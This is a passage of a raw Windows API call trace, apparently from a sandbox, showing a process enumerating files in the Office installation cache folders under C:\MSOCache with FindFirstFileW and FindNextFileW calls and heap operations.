ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.476] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0065.476] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0065.476] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0065.477] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.477] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.477] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.480] GetProcessHeap () returned 0x550000 [0065.480] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0065.480] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0065.480] GetProcessHeap () returned 0x550000 [0065.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0065.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.537] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.538] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.539] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.539] GetProcessHeap () returned 0x550000 [0065.539] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0065.539] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0065.539] GetProcessHeap () returned 0x550000 [0065.539] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0065.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.540] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.540] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.540] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0065.541] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0065.541] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0065.541] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0065.541] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0065.541] GetProcessHeap () returned 0x550000 [0065.541] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0065.541] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0065.542] GetProcessHeap () returned 0x550000 [0065.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0065.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9f8 [0065.752] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.752] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0065.752] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0065.753] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0065.753] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.753] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.753] FindClose (in: hFindFile=0x56a9f8 | out: hFindFile=0x56a9f8) returned 1 [0065.804] GetProcessHeap () returned 0x550000 [0065.804] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0065.804] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0065.804] GetProcessHeap () returned 0x550000 [0065.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0065.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0065.819] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.819] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0065.819] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0065.819] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0065.819] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.820] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.820] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0065.823] GetProcessHeap () returned 0x550000 [0065.823] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0065.823] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0065.823] GetProcessHeap () returned 0x550000 [0065.823] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0065.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0066.195] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.196] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0066.196] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, 